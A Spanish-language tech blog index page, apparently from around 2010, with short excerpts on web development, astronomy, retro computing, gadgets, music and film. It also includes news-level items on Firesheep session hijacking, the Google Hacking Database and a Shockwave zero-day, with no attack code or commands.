Parece que el elemento canvas, introducido en el nuevo HTML5, está dando mucho que hablar por la potencia que puede añadir al desarrollo de páginas web.

Y cuando mezclas este elemento con un lenguaje tan potente como es javascript, sólo la imaginación puede ponerte barreras a la hora de ser creativos. Y si no me crees echa un vistazo a esta página.

Si lo que te gustan son los juegos y no sólo jugar, sino también crearlos, experimentar, etc. Aquí tienes un tutorial compuesto por las siguientes secciones:

Google Hacking Database is back

Hoy ha aparecido la noticia en www.exploit-db.com. La GHDB o Google Hacking DataBase es un repositorio con búsquedas específicas que puedes hacer en Google y cuyo resultado son datos confidenciales de servidores, por ejemplo ficheros de configuración con información detallada de como está montado un servidor, nombres de usuarios, contraseñas, etc.

La información recogida en esta base de datos está un poco anticuada en este momento, pero resulta escalofriante la cantidad de resultado que todavía devuelven esas búsquedas.

Plutón recupera su sitio como el mayor objeto del …

-

Se ha vuelto a medir el diámetro de Eris, el planeta enano que se creía que era más grande que Plutón, y al parecer este es más pequeño. Concretamente los separan 2 km de radio (Plutón= 1172 Km radio y Eris= 1170 Km radio) así que Plutón vuelve a ser el más grande de los pequeños. He leído en bastantes sites que ha recuperado su estatus de "Planeta" pero eso es incorrecto: un planeta no solo es así por su tamaño, existen muchos factores que debe cumplir ese objeto para que lo sea.

Disponible todos los números de Bell System …

Todos los artículos de esta publicación han sido puestos a disposición de cualquiera. Los documentos están fechados entre 1922 y 1983.

Sin duda alguna muchos de esos documentos han sido influencia directa a la internet que conocemos hoy en día, de hecho no sólo internet, sino la tecnología en general. Yo diría que Bell System fue en su día lo que hoy es el MIT.

¿Encarna?

¿Encarna de noche? Muchos de ustedes no habíais nacido entonces. Gran show de Martes y Trece en 1986. Para aquellos que nunca lo han visto, pueden hacerlo aquí.

Bueno lo que quiero comentaros aquí es sobre un fallo de seguridad que hay rondando por ahí y dónde la polémica está servida. Os pongo en situación.

El investigador de seguridad Nitesh Dhanjani, ha hecho público lo que según el considera un fallo de seguridad en iOS o más concretamente en Safari, el navegador por defecto de este sistema operativo.

2600 en formato electrónico

Ya esperaba esto con gran ilusión desde hace que me hice con mi Nook. La revista 2600 ya está disponible en formato electrónico a través de Amazon (US y UK) y de Barnes&Noble. Lo malo es que Amazon no venden libros electrónicos sin DRM y B&N, si no me equivoco, los libros están enlazados de alguna forma a tu tarjeta de crédito, por lo tanto los que no poseáis uno de estos 2 lectores, tendréis que esperar, o no.

Resolviendo los retos hacking de la NoConName por …

 

No pudimos asistir a la NoConName (para la próxima) pero nuestros amigos de Security By Default nos explican en estos geniales tutoriales cómo resolver cada uno de ellos (en este post nos ofrecen la solución para el primero).

Por si quieres intentarlo antes, aquí tienes el PDF con el Reto Forense con las siguientes pistas:

PISTAS:

•    Existen, al menos, 4 hallazgos interesantes.

•   ¿Cual es el título de la película?

Además se adjunta la imágen de disco que puedes descargarla desde aquí.

Finalmente, en este enlace de Security By Default podrás encontrar la solución paso a paso a este reto hacking.

El código fuente de juegos para el Atari 2600 …

 

(Imágen: Web de Ben Fry, creador de los murales)

He visto cuadros muchos más feos (y seguro que más caros) que estos impresionantes murales donde puedes ver el código máquina de juegos tan clásicos para el Atari 2600 como el Pac-Man, Pitfall, Q-Bert, Air Raid ó Adventure. Pero no sólo verás el código, también los gráficos y lo mejor de todo, una líneas que  interconectan todo el programa indicando en cada momento qué instrucción se está ejecutando o qué gráfico se está cargando (básicamente todas las operaciones condicionales/incondicionales de salto).

Lamentablemente no puedes llegar a ver de forma detallada todas las instrucciones (tampoco lo veo necesario a no ser que tengas mucho tiempo) ya que todas se pueden comprar en esta web que tienen un tamaño de 33x48 centímetros donde sí que se ve bien todo el código.

Nikon D7000 Vs Canon 7D. ¿Cúal es mejor?

-

A mi entender, las pruebas "sobre el terreno" suelen mejores que un artículo en una revista de fotografía dando cientos de datos sobre el CMOS, iFCL o la obturación. Realizar una comparación exhaustiva es sinónimo de una buena compra. Frente a cámaras tan iguales como las que presento hoy es normal que un posible comprador tenga un verdadero lío mental con las especificaciones pero ¿Y si vemos de primera mano como salen las fotos, tanto en una como en otra, en idénticas situaciones? Puede que ese posible comprador le duela menos la cabeza después de ver la comparativa.

Navajas "suizas" de 20 siglos de antigüedad

Navaja multiusos recien reconstruida y expuesta

Si crees tener una idea innovadora suele ser porque no has mirado lo suficiente al pasado. Estas navajas estan en el museo Fitzwilliam en Cambridge, Inglaterra, y pertenecen a la época romana, más concretamente al 200 d.C. Una perfecta herramienta para el ejercito que constaba de una pequeña navaja, un punzón, un limpiador de uñas y uno de oídos y una pieza balancín con una cucharilla en un extremo y un tenedor en el otro. Se han encontrado varios ejemplares en diferentes países como Inglaterra, Bulgaria o Italia.

Este domingo por la mañana ... The Drums "The …

The Drums

Emulador de Game Boy escrito en Javascript: …

Ya está disponible la octava entrega de este gran tutorial. En este caso nos enfrentamos a las interrupciones, por explicarlo de una forma muy sencilla, está es la forma en que se supone que el hardware y el software se comunican cuando ocurre un evento.

Bueno mejor que le echéis un vistazo a este capítulo.

Si queréis seguir el tutorial completo, aquí tenéis la lista de los anteriores:

La CPU La Memoria La GPU Gráficos Integración Entrada de datos Sprites

Ekoparty Sexta edición - Vídeos

La conferencia sobre seguridad más importante de América Latina, según su web, fue celebrada en su sexta edición  los pasados 16 y 17 de Septiembre en la ciudad de Buenos Aires, Argentina. Entre los conferenciantes se encuentra nuestro amigo Chema Alonso (¡sin gorro de lana!).

Si no tuviste el privilegio de poder asistir a dicho evento, ya puedes ver las charlas que más te interesen a través del canal de Vimeo de esta organización. A continuación os dejo la lista de enlaces de cada vídeo:

El mapa de metro del indie español

En este mapa de metro creado por los chicos de lainformación.com pueden encontrarse paradas de metro tan “boreales” como Love of Lesbian, Dorian, Delorean, El Columpio Asesino,…. seguro que hay alguno del que no habías oido hablar y puede servirte para conocerlo.

Espero que os guste.

Buen fin de semana.

El Imperio ataca Nueva York

Momentazo Han Solo: "Tranquilo chico, no te pongas nervioso"

Tie Fighters, torretas lasers y realidad aumentada...  tu móvil echará chispas. El juego se llama Star Wars: Falcon Gunner y la empresa creadora Vertigore Games. Advertencia: las azoteas y los videojuegos de realidad aumentada no son una buena combinación (creo yo 8O)

Link

Mirando a un cometa de cerca

 

Esta foto está tomada por la sonda EPOXI ó también llamada Deep Impact que se lanzó en 2008 y se encuentra dando vueltas por nuestro Sistema Solar buscando objetos interesantes.

Podemos ver perfectamente el núcleo helado del Cometa Harley 2 donde claramente se puede ver que ha comenzado a calentarse y a expulsar material al espacio exterior.

Visto en io9.

Más información y fotos en NASA.

gitweb

GitWeb es una interfaz web para repositorios git escrita en perl. Un sólo fichero perl, gitweb.perl, eso sí con más de 7000 líneas de código, que te permite navegar por tu repositorio a través del navegador.

Moving to Microsoft Visual Studio 2010

Microsoft está últimamente que se sale de generoso. Ahora regalan este libro llamado "Moving to Microsoft Visual Studio 2010", el cual te puedes descargar en formato XPS o PDF.

¿Están los desarrolladores huyendo de Microsoft?

Visto aquí.

Comienza la creación de Gears of Wars para iPhone

-

El otro día Cybercaronte en su artículo veía manzanitas :-) por todas partes y parece que no es el único porque la mayoría de grandes compañías también las ven. Una de esas compañías es Epic Games que está al tanto del espectacular alzamiento de apple y se quiere subir al tren con una de sus mejores sagas Gears of Wars.

Todavía es solo un boceto en la mente de los programadores pero la idea es adaptar el juego para iPhone por mucho que cueste: “No me lo tomé en serio hasta que comenzamos a hacer el juego”, explicaba Donald Mustard, jefe de Epic. “Ahora es algo así como: Oh Dios mío, esto será literalmente el juego móvil con mejor aspecto de la historia’. Va más allá de lo que pueden hacer DS o PSP. En dos años podríamos ver esta adaptación.

100 municipios se unen a Todoscontraelcanon y …

Málaga, Santander, León, Leganés (Madrid), Molina de Segura, Totana (Murcia), Castellón de la Plana, Pollença e Inca (Mallorca), Taulada y Benissa (Alicante),  Petrer (Valencia).... en total 110 alcaldes se han unido a la plataforma Todoscontraelcanon y exigen la devolución de la "tasa", además adoptarán idénticas medidas mediante acciones populares para que esto se lleve a cabo. Según los ayuntamientos "La idea es planificar la estrategia a seguir", así como obtener toda la información relativa a esta reclamación. Los abogados de todoscontraelcanon darán soporte a cualquiera de las asociaciones de afectados para que empresas y autónomos puedan reclamar, de la mano de los municipio, las cantidades ya abonadas.

Herramientas para crear tu propia red local desde …

 

(Foto vista en VidaExtra)

Llevamos tiempo NOP y yo pensando la forma óptima de jugar desde Internet pero en modo red local con nuestras Xbox (sin tener que usar el Xbox Live). Lo tenemos claro, sólo hay que crear una VPN y montar nuestra propia red. Por supuesto no sólo vale para Xbox, también podrías jugar desde cualquier plataforma que tenga opción de jugar por red local. Pero además, no sólo es para jugar, podrías compartir archivos, hacer streaming de video ó musica, imprimir en cualquier impresora conectada en la red, etc  ...

Hay dos formas, puedes configurar los routers (ya pondremos una entrada próximamente) para crear la VPN (es la mejor opción, pero es más compleja y además depende también del hardware) y la otra es usar una de estas tres herramientas (hay más, hemos seleccionado estas tres por su sencillez de instalación y gestión) instaladas en un PC con Linux o Windows (sólo para el servidor, luego no importa la plataforma que conectes a la red tanto de ordenadores como de consolas ó incluso reproductores multimedia).

Tres musicólogos recostruyen los sonidos del mundo …

¿Te gustaría saber como sonaban los conciertos en la antigüedad? Philip Neuman, Gayle Stuwe Neuman y William Gavin han conseguido emular la música que se tocaba, 5000 años antes de Cristo, en Grecia, Egipto y Sumeria. El grupo es Ensemble De Organographia y en esta página se explica los pasos que siguieron para recrearla.

Link

Personaliza tu móvil

Como no iba a ser menos, el mercado de teléfonos móviles se acerca cada vez más al del ordenador de escritorio y portátiles. Si miras el mercado de móviles, siempre encuentras que tal terminal tiene tal característica que este otro no tiene, pero éste tiene esto que el anterior no tiene. ¡Qué lío! El tema es que cada vez que tenemos que rascarnos el bolsillo, evidentemente queremos tomar la mejor decisión y obtener el terminal perfecto ¡Qué lo tenga todo!

Bueno pues parece que el tema de poder personalizar tu teléfono móvil está cada vez más cerca. La compañía Synapse-Phones ofrece la posibilidad de, empezando con ciertas características, configurar tu propio teléfono móvil.

Vídeo tutoriales sobre Javascript

Si ayer os dejaba una gran colección de vídeo tutoriales sobre Ocjetive-C, hoy os la dejo sobre Javascript.

Este lenguaje que muchos han querido matar, pero que con cada innovación que ha experimentado la web  no ha hecho más que ganar enteros ¿alguien dijo AJAX? Y claro ahora llega el nuevo HTML5 y la mezcla es explosiva. Y para muestra un botón.

Mi recomendación es que te pongas al día con Javascript, si te dedicas a programar claro está, porque la cosa está calentita.

Dalvik VM: Ficheros .dex

En esta entrada vamos a hablar de la estructura interna de los ficheros .dex. Lo primero, decir que, los ficheros .dex se encuentran empaquetados dentro los archivos .apk (Android Package). A continuación podemos ver una imagen con la estructura interna de estos ficheros:

Como podemos apreciar, un fichero .dex esta divido en distintas secciones llamadas “pools”. El pool de strings contiene todos los Strings que las clases dentro del .dex usan. En pool de tipos (type_ids) se guardan los distintos tipos datos usados en la aplicación, etc. Además de las secciones mostradas en la imagen, en la estructura actual de los ficheros dex existe una sección más por debajo de la de datos (data) llamada link_data o enlace de datos. En este momento dicha sección no está documentada. Todo lo que dice la documentación oficial es que en ella se guarda información sobre los ficheros enlazados estáticamente. Si el fichero no es enlazado esta sección permanece vacía y dicha documentación concluye diciendo que dicha sección se use como mejor se adecue a nuestra implementación.

Veamos la estructura de cada sección.

Vídeo tutoriales sobre Objetive-C

La idea de programar para dispositivos móviles está ahora mismo en todo su esplendor. Hay ya quien se pregunta que hacer primero si la aplicación móvil o la página web para el móvil. O sea, ya se asume que tienes que llegar al mercado móvil. Desde mi punto de vista, hoy en día hay 2 plataformas que dominan el mercado de aplicaciones móviles: Android y iOS (iPhone).

Dejando a un lado a Android, muchos sabréis que el lenguaje de programación para iPhone es Objetive-C. Por lo tanto lo primero que tienes que saber antes de ponerte a programar delante de un iPhone es dicho lenguaje.

MicroHistorias: El primer juego 3D y multijugador …

 

Pues sí, de 1974, cuando apenas había ordenadores y el Pong era el juego revolucionario, en el laboratorio Ames Research Center de la NASA en California, ya programaron este juego multijugador y además en 3D. Fue creado en ordenadores PDS-1 de Imlac para probar  la nueva tecnología de red "ethernet" de Xerox.  Luego también se realizaron modificaciones y versiones para otros ordenadores en los laboratorios de Xerox en Palo Alto (por ejemplo para Star, 6085 y más tarde para PC y Mac, incluso una para NeXT).

Se llamaba “Maze War” y no se puede atribuir a nadie en concreto (por lo tanto es también el primer juego opensource) ya que el código estaba a disposición de todos y cada uno lo modificaba como quería (por supuesto, también  para hacer trampas). Los “avatares” estaban representados por bolas con forma de ojos con el nombre del jugador encima del gráfico. Al principio era un juego para un sólo jugador, pero era un poco aburrido, así que se les ocurrió usar la nueva tecnología de red ethernet para crear un entorno multijugador.

Las dunas negras de Marte

 

Inquietante y hermosa foto de estas dunas tomada por la HiRISE, formadas de basalto y modeladas de forma caprichosa por los vientos de Marte. Las dunas pequeñas que rodean a las dunas negras son muy parecidas a las terrestres.

Esto demuestra que Marte es aún un planeta muy vivo en su aspecto geológico.

Esta imágen la han encontrado los chicos de UniverseToday dando un paseo por la web de la HiRISE. Hay muchas fotos espectaculares por descubrir almacenadas por la NASA, que aún no han podido catalogar. Un paseo por esta web es muy recomendable para una exploración del Planeta Rojo.

Retos de programación

Una de las recomendaciones que muchos hacen a programadores, especialmente a los que empiezan en este mundo, es el leer lo que otros han escrito. Uno de los grandes valores del mundo del software libre es el hecho de compartir conocimiento. El simple hecho de poder leer el código fuente de cualquier proyecto libre, ver como está el proyecto estructurado, es una joya de valor incalculable. Pero desde mi punto de vista la mejor forma de aprender es escribiendo código y si además tienes  a alguien con más experiencia que tú, que te pueda corregir, eso ya es la bomba. Y este es el gran valor de muchas de las webs que podemos encontrar por Internet donde proponen todo tipo de ejercicios de programación para todos los niveles y gustos. Ellos proponen un problema, en muchos casos típicos y bien conocidos y tu tienes que escribir el algoritmo para solucionarlo, pero aquí no que da la cosa, además de esto, también puedes enviar tu código con la solución, donde miles de ojos pueden ver tu código y corregirlo o darte algún consejo y además tu también puedes hacer lo mismo, no sólo para buscar errores, sino para aprender nuevos trucos. No todas estas webs te permite acceder a la solución de los demás participantes.

Bueno todo este rollo os lo he soltado para dejaros a continuación una lista de webs dónde proponen retos o problemas que tienes que resolver mediante programación.

Meme, el twitter de Yahoo!

Yahoo! ha sacado a la luz un nuevo servicio de blogging llamado Meme. La idea es la de postear lo que se te apetezca, puedes seguir a otros y repostear. ¿Algo nuevo con respecto a twitter? Bueno una diferencia si que hay, no tiene el límite de los 140 caracteres.

Tienen su aplicación para móvil (aplicación web), así como una API de programación.

No sé, me da que Yahoo! llega un poco tarde, pero quien sabe. Salga el sol por donde salga y porque digan lo que digan los pelos del culo abrigan, Cyberhades ya tiene su cuenta en Meme, así que si te creas una cuenta o ya la tienes, ya puedes seguirnos ;-)

Firma digital por la cara

O más o menos eso es lo que propone el abogado Benjamin Wright, blogger y autor de varios libros sobre leyes del comercio electrónico, tal como Law of Electronic Commerce.

En esta entrada, este abogado propone la validación de firma electrónica usando una webcam. Viendo el ejemplo que él mismo hace, la idea es grabarnos a nosotros mismos diciendo que queremos firmar tal documento, indicando además fecha y hora en la que estás grabando el vídeo. Luego se mandaría dicho documento relleno junto al vídeo que acabamos de grabar en correo electrónico.

¿Cómo hacerte autónomo paso a paso? …

-

Que si el modelo 130, que si este formulario no es, que si ahora toca el 310 y se me ha pasado la fecha... esa es la vida del autónomo y lo sé por experiencia propia. Además esta la asesoría que puede llegar a cobrarte unos 100€ al mes, aunque no factures nada, y que siempre te estas planteando si el balance y el papeleo lo podrías hacer tu mismo y prescindir de ella. Pues aquí están todas las respuestas a tus dudas: infoautonomos.com. Puedes encontrar hasta la nueva solicitud de pago por desempleo (paro).

Una canción para Domingo de Halloween, "Romance to …

Broken Social Scene “Romance to the Grave” de su último disco.

Después de un Sábado por la Noche, siempre vuelven los domingos por la mañana ;)

Tokio Street por Jonathan van der Knaap

-

-

-

-

all images © jonathan van der knaap Fotógrafo: jonathanvdk.com

Galería Link

Comienza "Sábado por la noche"

Coincidiendo con Halloween, o la “Noche de Brujas”, empiezo un nuevo tipo de post,  donde si la mañana es el día, la luz o el amanecer, la noche es más “oscura”… de ahí su nombre.

Como no puede ser de otro modo, se publicarán a las 3:00h de la noche del sábado al domingo, dando un repaso a diversos estilos musicales con una trayectoria y raices tan asentadas que llegan hasta el mismísimo infierno.

El mejor disfraz de Starcraft en la BlizzCon

La BlizzCon '10 ha terminado pero ha dejado joyas como esta. ¡¡WOW!!

Link

Hakin9 - Noviembre: Spyware – Someone is always …

Aquí os dejo el índice de este nuevo número:

• An analysis of the spyware threat and how to protect a PC by Julian Evans
• Emerging Threats: Electronic Cold War by Matthew Jonkman
• Deploying & Utilizing Intrusion Detection Using Snorby by Joshua Morin
• Malware Incident Response – Outbreak Scenario by Rajdeep Chakraborty
• TDSS botnet – full disclosure by Andrey Rassokhin and Dmitry Oleksyuk
• When XOR is your friend… by Israel Torres
• Proactive Defenses and Free Tools by Gary S. Miliefsky

La podéis descargar desde aquí.

Programming Windows Phone 7, ebook gratuito

Como diría nuestro querido Cybercaronte: Un libro imprescindible para nuestra colección :-). Pues como dice el título, Programming Windows Phone 7 es un libro que te puedes descargar (PDF) de forma totalmente gratuita desde la web de Microsoft. El libro ha sido escrito por el equipo de Windows Phone 7 para la comunidad de programadores.

Las explicaciones del libro están basadas en C# junto a los frameworks Silverlight y XNA 2D. Por cierto desde aquí te puedes descargar el código fuente del libro.

Y el buen pastor tiene que matar a la oveja

Ya hemos hablado de Firesheep y de una replica de dicha aplicación, pero después del revuelo que se ha montado, claro el pastor del rebaño tenía que hacer algo.

FireShepherd es una aplicación escrita en C++ que lo que hace es inundar la red en la que estás, con cookies falsas. Según el autor del mismo, éste mata a Firesheep. Viendo las cookies que genera, seguramente produzca algún error en Firesheep que hace que éste se cuelgue. Este es un ejemplo de la cookie que genera:

Axsotic 3D Spherical Mouse

El principal problema que existe a la hora de hacer 3D, sobre todo para la recreación de modelado y animatrónica, es dividir el Espacio en tres vistas (top, front y left) y dejar la ventana de perspectiva para las visualizaciones complejas y los retoques finales. Ahora con este nuevo ratón X, Y y Z estan unidos en un solo dispositivo y si además trabajas con una digitalizadora las posibilidades se multiplican por mil... si eres zurdo :-(... es que todo no se puede tener.

¿Cómo conectar tu reflex al iPad sin cables ni …

Por supuesto con el iPhone o el iPad jailbreakeados. En este artículo se explica muy bien como hacer la operación de forma wireless y en este otro como hacerlo a través de un router wireless.

Material:

Para tarjetas SD: Eye-Fi Connect X2 ($ 45)

Para tarjetas CF: + un adaptador ($ 24.95)

Más info en fstoppers

La factura de Boba Fett por cazar a Han Solo

Que chollo, con carbonita incluida!!!

Link

Apple se convertirá (posiblemente) en la empresa …

 

Foto: Huffingtonpost

O al menos eso parece que ocurrirá el año que viene si consigue superar a Exxon-Mobil (la única empresa que supera por valor de mercado a Apple)  pero aún les separan 28.700 millones de euros. Apple ha alcanzado record absoluto de resultandos en el ejercicio de 2010 con ingresos y beneficios al máximo.

Ya sobrepasó a Microsoft en Mayo al llegar la firma de Steve Jobs hasta un valor de 225.100 millones de dólares frente a los 222.700 millones de Microsoft. En cambio, Microsoft sí que supera a Apple en ventas, el último trimestre ingresó 14,5 millones de doláres frente a los 13,5 millones de Apple.

The Art Of Assembly Languaje, un libro esencial y …

 

Por motivos varios, he tenido que volver a programar en ensamblador (y desensamblar también) algún que otro código (en Linux y Windows) y este libro la verdad es que ha sido realmente una auténtica revelación:

The Art of Assembly Languaje

Es un texto creado por Randy Hyde, y está considerado como uno de los mejores libros sobre ensamblador que existen.

Aparte de ser bastante fácil de leer y estar escrito de forma bastante sencilla para lo complejo del tema, además tiene una versión para cada plataforma que necesites programar:

Video musical de Daft Punk "Derezzed", BSO de Tron …

No tengo palabras, sólo ganas de ver y escuchar la película … perfecta la unión DaftPunk+Tron …

Visto en nuestra querida web de Microsiervos.

Cyberhades estuvo en la World Conference Software …

En el Palacio de Congresos de Málaga se ha celebrado hoy un evento que reunía a usuarios, empresas y entidades públicas para compartir experiencias y proyectos con el software libre como telón de fondo. Impresiona la cantidad de ponentes y de ponencias, prácticamente había que clonarse para poder asistir a las que más te gustaran ya que había cuatro charlas simultaneas en tres salas pequeñas y una grande para conferencias. Aproximadamente se hacían unas siete charlas por hora: las salas pequeñas tenían conferencias de 30 minutos y la grande de una hora.

Cómo convertir un Macbook en un tablet por menos …

 

Yo no tengo un Macbook, y si lo tuviera no creo que quisiera convertirlo en un tablet (al menos el creador de este proyecto argumenta que su Mac estaba estropeado y por eso se lanzó a convertirlo), pero bueno, aquí tienes este detallado tutorial para convertir un Macbook en un tablet por menos de 40€. Básicamente, el coste es la pantalla táctil resistiva, lo demás es  "doblar" la pantalla y hacer algunos ajustes a la carcasa.

I browsed twitter insecurely on a public network …

Y claro después del anuncio de Firesheep y ver lo fácil que es el secuestro de sesiones en sitios como Facebook o Twitter entre otros, ahora empiezan a crecer los enanos. Y apuesto a que estos van a seguir creciendo hasta que estos portales solucionen la papeleta.

Esta nueva aplicación se llama Idiocy y está escrita en python. Esta vez los usuarios de Linux estamos de suerte, ya que por lo que se ve en la documentación, ésta es la única plataforma que al menos ha sido probada. Este proyecto sólo está escrito para secuestrar sesiones de Twitter y lo que hace es publicar un mensaje (véase el título de este post) en nombre del usuario afectado.

La primera fotografía en la que aparece una …

 

Pues parece que es esta, tomada entre el 24 de Abril y el 4 de Mayo de 1838 por Louis Daguerre en el Boulevard du Temple en París . Fijáos en la parte izquierda, veréis a un hombre con el pie apoyado en lo que parece un banco. Lo curioso del tema es que esa calle estaba llena de gente, pero como el tiempo de exposición era de 10 minutos, la gente pasaba demasiado rápido como para poder aparecer en  la imágen. Excepto nuestro querido y anónimo amigo, que en ese momento, se estaba lustrando las botas y por eso aparece en la fotografía.

Corto "Nuit Blanche" y su Making of técnico

Cada uno puede darle la interpretación que quiera a este corto, yo sólo diré que a nivel técnico es impresionante. Su creador es Arev Manoukian y ha tardado unos escasos nueve meses en realizarlo. Cualquier diseñador gráfico que se precie debería ver el Making of donde da pistas técnicas sobre su pre y post-producción: mallados, cromas, animación de partículas, elementos pre-renderizados... todo para decir que el amor no tiene barreras.

Tweets por minuto

¿Quieres saber qué ciudad escribe más tweets alrededor del mundo? Tweet-o-Meter te provee de esos números.

Tweet-o-Meter es un sitio web que se refresca cada segundo, dándote el número de tweets por minuto que se escriben en distintas ciudades del mundo. Entre esas ciudades se encuentran Nueva York, Londres, Munich, etc y representando a España, tenemos a Barcelona. Dicha página además de los marcadores de tweets por minuto de cada ciudad, te muestra los tweets en si. Este sistema es parte de la Growing Knowledge Exhibition, ha sido construido por el Centre for Advanced Spatial Analysis, en colaboración con la University College London.

Me da igual, yo quiero un iPhone 4 (NSFW)

Robo de sesiones web a golpe de ratón

En la ToorCon 12, conferencia sobre hacking y seguridad celebrada en San Diego, California el pasado 22-24 de Octubre, se presentó un proyecto llamado "Firesheep". Éste es una extensión para Firefox, que nos permite el robo o secuestro de sesiones web en redes inalámbricas. Según la presentación de los autores de este proyecto, el problema es que muchos sitios usan SSL para la autentificación sólo, es decir, cuando mandas tu nombre de usuario y contraseña. Y una vez te hayas autenticado, recibes una cookie que es lo que usas para continuar autentificado en dicho sitio y aquí es dónde se encuentra el problema, dicha cookie no es encriptada o envuelta en SSL.

Lo que esta extensión hace es precisamente eso, esnifar la red en busca de dichas cookies. Firesheep no conoce el formato/nombre de todas las cookies de cada sitio, por eso sólo funciona con algunos sitios. Puedes ver dichos sitios en esta lista. Una de las cosas buenas de esta extensión es que permite ser extendida a través de javascript, así que tú mismo puedes definir una web con su cookie para que también busque dicha cookie entre el tráfico esnifado.

Ahora en Tiempo Real la construcción del Rover …

Ahora, en cualquier momento del día, puedes observar como trabaja la gente del Jet Propulsión Laboratory en la Nasa con el nuevo Rover Curiosity. Este nuevo juguetito 6x6 de 1000 kilos llegará a su destino en Marte a finales del 2012.

Link

SGAE: los consumidores deberán pagar MÁS para …

El última sentencia del Tribunal Europeo sobre el canon digital va a dejar las arcas de la Sgae temblando ya que pierden una buena fuente de ingresos (110 millones €) que salía de los profesionales autónomos, empresas y administraciones. Además tendrá que indemnizar posteriormente por lo cobrado ya que se ha considerado todo el sistema de pagos y cobros como ilegal. Pero la Sgae contraataca con un proyecto para aumentar el pago por el uso de soportes y reproductores a los consumidores y fabricantes de estos. Todo queda a vistas para que sea ratificado por el Ministerio de Cultura.

Ya empieza a hacer frío los domingos por la …

Si te gusta Explosions In The Sky, este es el complemento perfecto.

Hoy es un domingo bastante especial, después de una semana no muy agradable, todo empieza a ir bien.

Joy Wants Eternity, post rock es estado puro.

The Social Network (La Red Social), genial

 

Acabo de maravillarme con la película The Social Network (La Red Social), basada en la vida del fundador (o uno de los fundadores) de Facebook, Mark Zuckerberg. Ya hablamos en CyberHades de la película y la verdad es que nos temíamos lo peor, pero no, la verdad que es una película muy entretenida y además, muy Geek. No es habitual que en una película se hable de PHP, Perl, Script, etc ... y además de forma coherente.

Y lo mejor, es una historia absolutamente real (cuando digo real me refiero al contexto técnico y en general, al desarrollo de la creación de Facebook, por supuesto que tendrá añadidos al guión para hacerla más emocionante).

Nuevo poster oficial de Tron Legacy

Es claramente, un homenaje al clásico: 

Recuerda que Tron Legacy se estrenará el 17 de Diciembre de 2010.

Carteles vistos en comingsoon.

Privacidad a lo Geek!

La inquietante cantante y bailarina pop HRP-4C

Ya empiezan a llamarle “divabot".  HRP-4C está desarrollado por el Instituto Japonés de Ciencia y Tecnología Industrial Avanzada. Usa un software especial para los imitar los movimientos humanos y los gestos faciales. La voz está sintetizada por un software llamado Yamaha Vocaloid.

Impresionante.

Visto en Gizmodo.

Guía para eliminar errores de sombras con …

Algunos diseñadores, Gerardo Lucas, Noxxot, Rocío... me han preguntado a través de un post de este blog soluciones a los problemas que genera Lightscape con algunas caras y con booleanas o elementos de formación avanzada como Primitivas Extendidas y Solevados usados para arquitectura o ingeniería de piezas. Lo primero que tengo que decir es que a pesar de haber estado un año y medio trabajando-estudiando esta herramienta de la mano de Autodesk los problemas que esta posee son exasperantes ya que cuando aparece un error de radiosidad se suele atajar recurriendo a la imaginación, al engaño y al efecto óptico :-) Estas técnicas son fruto del ensayo-error en mi trabajo y de las clases con mis alumnos. No son perfectas ya que no existe manual alguno de este tema pero si alguien sabe algún truco más estaré encantado de publicarlo o rectificarlo. Intentaré utilizar un lenguaje sencillo alejándome de los tecnicismo que en estos casos no suelen ayudar en nada.

Adobe Shockwave 0day in the wild

Pues nada como dice el título hay un 0day que afecta a Adobe Shockwave player. Aquí podéis ver un vídeo de la vulnerabilidad ejecutándose, dónde vemos que el atacante gana una shell en la máquina remota. Si por alguna razón no se ve el vídeo, podéis ir este enlace o bajarlo en alta calidad desde aquí.

Adobe Shockwave player rcsL chunk memory corruption 0day from Offensive Security on Vimeo.

El exploit se puede ejecutar tanto de forma local como remota, lo que lo hace muy peligroso. Shockwave es un plugin que se instala en tu navegador para ver vídeos de ese mismo formato. Este exploit permita la ejecución de código en la maquina local o provocar una denegación de servicio.

Galería de Exoplanetas: imágenes reales de estos …

 

LLevamos encontrando planetas fuera de nuestro Sistema Solar desde 1995. Ahora conocemos unos 500 planetas orbitando otras estrellas pero muchos de los métodos para econtrarlos podríamos llamarlos "indirectos". Siempre sabíamos de su existencia basándonos en los efectos que producen en las estrellas las cuales orbitan.

Pero en 2005 se anunció la primera imágen de un planeta extrasolar (es la diapositiva número 1 del enlace del post original).

Nuevo Battlestar Galactica Online Beta

Si eres de los que se apuntaron para recibir noticias sobre el nuevo juego de Battlestar acabarás de recibir un mail para apuntarte gratuitamente y probar la beta del juego, y si no, pues ya te lo decimos aquí en tu blog favorito :-D Como ha habido tan pocas noticias sobre el juego (o ninguna) a partir de ahora os iré comentando como se va desarrollando esta historia. Por lo pronto pinta bien porque es gratis pero esperemos que este a la altura. Hace falta tener instalado Unity Web Player para juegos en 3D.

Contact Light y Moonscape

Contact Light dura 17 minutos y está realizado por aficionados de todo el mundo usando imágenes y videos la misión Apolo XI.

 Este es el resultado:

Contact Light - Preview from Paolo Attivissimo on Vimeo.

Por otro lado, Contact Light es parte de otro proyecto más grande llamado MoonScape para realizar un documental de toda la misión Apolo XI.

Este es el trailer:

Más información y noticia original en Eureka.

Computer Adventure Games, el documental

Con recursos como sonido, vídeo y capacidad de proceso muy limitados, salió a flote a principio de los 80s una industria totalmente nueva con la creación de juegos de aventuras en modo texto. Éstos eran como un libro viviente que usaban el procesador gráfico más potente del mundo: la mente humana.

Estos juegos describían un lugar, una situación determinada y te daba varias opciones de que hacer y dependiendo de la decisión que tomaras la aventura iba cambiando y tomando otro rumbo.

Microhistorias: ¿A quién le importa la estética de …

 (Prototipo de Mac cableado usando wired-wrapping. Parte trasera. Imágen: Digibarn)

Hola amigos, vamos con otra microhistoria de esas que os gustan tanto. Otra vez, el protagonista es nuestro querido y admirado Steve Jobs (es un filón).  Como es de Apple, se la dedicamos a nuestros amigos de SeguridadApple ;)

Estamos en la primavera de 1981 y el nuevo Mac ya estaba lo bastante avanzado en diseño como para crear una placa de circuito impreso. Hasta ahora sólo había prototipos usando una técnica llanada “wire-wrapping” donde a cada señal le correspondía un cable enrollado a unos conectores. Esto ya podéis imaginar era un verdadero desastre sobre todo a la hora de encontrar fallos o de hacer alguna modificación, pero en general, para probar un circuito, era la forma más rápida y económica.Entonces Apple reclutó a un joven e inocente ingeniero llamado Geroge Crow, para ayudar al genio de Burrell (este hombre es un crack, el solito diseño completo la placa base del Macintosh, algún día hablaremos de él) en el diseño de la placa de circuito impreso. Para una inmediata reunión con Steve Jobs, se hicieron una docena de placas para la demostración.

Aprende inglés desde casa

